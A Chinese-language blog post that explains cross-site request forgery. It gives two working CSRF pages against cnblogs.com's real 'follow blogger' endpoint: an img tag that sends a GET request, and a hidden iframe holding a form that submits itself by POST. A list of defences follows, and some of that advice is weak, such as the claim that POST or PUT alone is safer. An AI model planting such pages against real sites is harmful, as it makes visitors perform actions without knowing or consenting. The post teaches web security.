您的位置:首页
csrf攻击
2018-03-11 10:57
162 查看
前端界恶意攻击之一--------csrf
例子一:
如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:
在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主
例子二:
如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api
但是这里在页面嵌套其他域名的iframe只有IE和FireFox是可以的(当然对方的恶意服务器也需要配置X-Frame-Options=ALLOW-FROM uri)
但是如果,恶意页面是直接把form在在当前页还是能够实现csrf的恶意操作的,只不过当前页面会被跳转到post请求的页面,这个就做不到神不知鬼不觉了。
所以总的来说把api的请求改为用post方式是比较安全的
防御措施:
1.用其他请求方式(例如put)代替get、post这两种较为容易跳过同源策略跨域访问的方式
2.检测Referer是否是本站的域名-------最常用的了
3.1 用Token代替Cookie(作为get参数)
4.2 HTTP 头中添加自定义属性传Token,配合ajax的setRequestHeader代替使用get参数
例子一:
如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/> </body> </html>
在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主
例子二:
如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api
<!--恶意页面主页--> <!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF SHOW</title> </head> <body> <iframe src="form1.html" style="display:none"></iframe> </body> </html> <!--iframe--> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <form name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post"> <input type="hidden" name="blogUserGuid" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/> <input type="submit" value> </form> <script> document.forms.form1.submit(); </script> </body> </html>
但是这里在页面嵌套其他域名的iframe只有IE和FireFox是可以的(当然对方的恶意服务器也需要配置X-Frame-Options=ALLOW-FROM uri)
但是如果,恶意页面是直接把form在在当前页还是能够实现csrf的恶意操作的,只不过当前页面会被跳转到post请求的页面,这个就做不到神不知鬼不觉了。
所以总的来说把api的请求改为用post方式是比较安全的
防御措施:
1.用其他请求方式(例如put)代替get、post这两种较为容易跳过同源策略跨域访问的方式
2.检测Referer是否是本站的域名-------最常用的了
3.1 用Token代替Cookie(作为get参数)
4.2 HTTP 头中添加自定义属性传Token,配合ajax的setRequestHeader代替使用get参数
相关文章推荐
- CSRF攻击
- CSRF攻击
- CSRF攻击
- 安全 --- CSRF攻击
- CSRF攻击
- CSRF攻击
- web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)
- 点击劫持 Framekiller--恶意frame导致CSRF攻击
- 浅析:XSS攻击、SQL注入攻击和CSRF攻击
- CSRF攻击
- WEB安全_csrf攻击
- shiro安全框架扩展教程--设计数据对象校验器,如何防止xss以及csrf攻击
- 针对OAuth2的CSRF攻击
- web开发常见安全问题(SQL注入、XSS攻击、CSRF攻击)
- CSRF攻击
- CSRF攻击
- Django网站建设-sql注入、xss攻击、csrf攻击
- csrf攻击
- web安全之token和CSRF攻击
- XSS和CSRF攻击